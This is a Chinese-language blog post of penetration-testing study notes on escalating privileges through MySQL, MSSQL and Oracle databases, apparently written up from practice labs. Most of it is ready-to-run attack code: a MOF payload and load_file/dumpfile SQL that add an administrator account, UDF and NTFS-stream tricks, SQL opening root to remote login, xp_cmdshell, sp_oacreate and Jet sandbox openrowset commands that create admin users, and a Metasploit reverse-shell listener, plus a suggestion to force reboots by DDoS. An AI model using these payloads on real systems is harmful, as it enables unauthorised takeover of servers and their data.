安全 提权 MY&MS&ORA等SQL数据库提权 Yatming的博客 2025-05-20 2023-07-29
在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件:服务器开启数据库服务及获取到最高权限用户密码。除 Access 数据库外,其他数据库基本都存在数据库提权的可能。 数据库应用提权在权限提升中的意义
WEB 或本地环境如何探针数据库应用(只需要数据库的密码)
数据库提权权限用户密码收集等方法(配置文件、存储文件、暴力猜解、其它方式)
目前数据库提权对应的技术及方法等(MySQL,Mssql)
Mysql 数据库提权演示-脚本&MSF
端口服务探针
namp探测主机操作系统、端口服务,版本信息
1 nmap -sV -O 192.168.50.58
这里除开使用nmap进行端口探测还可以使用其他的端口扫描工具进行检测,或者你上传的一个大马或者小马可能都有这个端口探测的功能
MYD对应的表内的内容(存储数据的地方)
在mysql的data目录下存放着各个网站的数据,里面可能会有密码
1 select * from mysql.user;
这里的环境是建立(个人理解)你用sql注入了一个网站,然后你只有一个mysql的命令行,那么就可以通过查看这个的方式得知root的密码
然后拿着密码去解密,看脸
下面是一个php版本的mysql爆破的脚本,网上可能还有更好的,这里就不深入了
1 https://blog.csdn.net/weixin_49150931/article/details/123026142
这里需要注意一下,分为远程爆破和本地爆破。root一般默认是不支持外连,那么就需要将脚本上传到服务器上进行暴力破解
提权利用-UDF提权
已知当前MySQL版本为5.5.53
mysql<5.1 导出目录c:/windows
或c:/windows/System32
mysql=>5.1 导出安装目录/lib/plugin
这个的前提首先就需要知道mysql的版本
1 2 3 4 5 6 7 8 9 select version(); MySQL –V //这个的前提是配置了环境变量 status //状态信息 \s //同样是查看状态信息 show variables like '%version%'; select user(); # 获取数据库用户 select @@basedir; # 获取数据库安装目录 show variables like '%plugin%'; # 查看plugin路径,但是这个不一定就是真的路径,具体情况自己斟酌
1 2 3 4 5 6 根据结果,导入文件地址为C:/phpStudy/PHPTutorial/MySQL/lib/plugin,如果不存在就创建 show variables like '%secure_file_priv%'; 进行文件注入,有个前提,需要有secure_file_priv 默认情况下会写入文件失败,mysql的文件写入权限问题,修改这个参数,不能在控制台修改,必须修改配置文件才可以 https://www.freebuf.com/articles/web/264790.html //MySQL提权的三种方法
手工创建 plugin 目录 或利用 NTFS 流创建
select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
或者:
1 2 3 4 SELECT '1' into dumpfile '目录\\lib::$INDEX_ALLOCATION'; SELECT '1' into dumpfile '目录/lib\\plugin::$INDEX_ALLOCATION'; //运行报Error writing则说明文件夹创建成功 //若报Permission denied则说明失败
这个ntfs创建也不行,没有secure_file_priv(那么到这里的话,个人就感觉比较鸡肋了,因为这个开关默认是关闭的)
我这里在进行安装的时候还被火绒给拦住了
1 https://www.cnblogs.com/02SWD/p/15858250.html //mysql udf提权
提权利用-MOF提权(基于 MYSQL 特性的安全问题,成功率低)
利用条件
只使用于windows系统,一般低版本系统才可以用,比如xp
、server2003
对C:\Windows\System32\wbem\MOF
目录有读写权限
可以找到一个可写目录,写入mof文件
1 https://www.cnblogs.com/xishaonian/p/6384535.html //参考文章
原理:
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 # pragma namespace("\\\\.\\root\\subscription" ) instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
sql语句:
1 select load_file('C:\phpStudy\PHPTutorial\WWW\user_add.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
我这里的目标服务器都没有这个文件,服了~
MSF生成后门进行
需要让数据库用户可以远程访问
1 2 3 # 完成命令以后进行重启 GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION; FLUSH PRIVILEGES;
MySQL 5 的密码是通过加密存储在数据库中的,因此不能直接解密。如果需要重置密码,您可以使用以下步骤:
停止 MySQL 服务器。
使用 –skip-grant-tables 启动 MySQL 服务器。
连接到 MySQL 服务器并执行以下命令:
1 2 UPDATE mysql.user SET password =PASSWORD("new_password" ) WHERE User='root' FLUSH PRIVILEGES
重启 MySQL 服务器并使用新密码登录。
1 2 3 # 完成命令以后进行重启 update mysql.user set host='%' where user='root'; flush privileges;
成功执行,并留下了文件,只要重启服务器就会执行
这里重置密码之后,还是不能远程连接,可能是对方的服务器平台的防火墙规则没有配置3306的外连,没办法了
这个需要有secure_file_priv
参数,并且是操作系统是windows,否则文件写入会失败
msf监听端口,获取到会话
1 2 3 4 5 6 7 8 #进入监听模块 use exploit/multi/handler #设置payload反弹 set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 4444 show options run
https://www.cnblogs.com/sfsec/p/15222027.html
使用暗月的提权马 优点:自动帮你查找对应的目录
启动项提权 启动项提权(基于配合操作系统自启动)
1 2 3 4 5 ---原理:导出自定义可执行文件到启动目录配合重启执行将创建好的后门或执行文件进行服务器启动项写入,配合重启执行! ---打开系统启动路径:我这是windows server 2012,里面没有文件 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
可以放一个脚本,重启之后执行脚本内的内容,前提是对这个目录有读写权限,并且可以使目标机器重启
重启的服务器的操作:
DDOS攻击将服务器的流量打光,服务器就会重启(个人觉得这样的动静太大了)
启动项提权+MSF生成后门进行,进行提权 首先的条件就是上面说到的,需要有支持root的外连。其次是如果是云服务器的平台需要开放对应的端口,不然还是不能连接
如果上述条件都满足,使用木马(之前暗月那个)创建一个反弹函数,然后在你自己的云服务器上进行监听,进行反弹即可,然后在用msf上面的模块进行提权
Mssql数据库提权演示-连接客户端 使用xp_cmdshell进行提权 —xp_cmdshell 默认在 mssql2000中是开启的,在mssql2005之后的版本中则默认禁止(这里2008就是禁用的)。如果用户拥有管理员sa权限 则可以用 sp_configure 重新开启它。
—查找xp_cmdshell
密码在桌面上有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 通过xp_cmdshell执行命令whoami: EXEC master.dbo.xp_cmdshell '命令' 通过sp_configure开启xp_cmdshell(这里1就是开启,0是关闭) # 启用: EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; # 关闭: exec sp_configure 'show advanced options',1 ; reconfigure; exec sp_configure 'xp_cmdshell',0; reconfigure;
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exex master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
使用 sp_oacreate进行提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ---主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。 # 启用: EXEC sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE WITH OVERRIDE; # 关闭: EXEC sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures',0; RECONFIGURE WITH OVERRIDE; ---执行命令 # 执行whoami 查看权限(调用cmd.exe执行whoami ,并将结果输出为文件): declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\\1.txt' ---但是我的C盘上面没有生成文件
使用sqlserver沙盒提权 什么是沙盒(类似虚拟机)为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 --提权语句 exec sp_configure 'show advanced options',1;reconfigure; -- 不开启的话在执行xp_regwrite会提示让我们开启, exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure; --关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; --查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。 exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode' --执行系统命令 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")') 沙盒模式SandBoxMode参数含义(默认是2) `0`:在任何所有者中禁止启用安全模式 `1` :为仅在允许范围内 `2` :必须在access模式下 `3`:完全开启 openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。 --恢复配置 --exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; --exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure; --exec sp_configure 'show advanced options',0;reconfigure;
和沙漠里的鲸一样,我这里也用的是hack靶机,同样也是不行
Oracle数据库提权演示-自动化工具 如果目标是jsp语言的网站,那么一旦有后门,权限就是system的,这个真的这么牛的吗
不装环境了~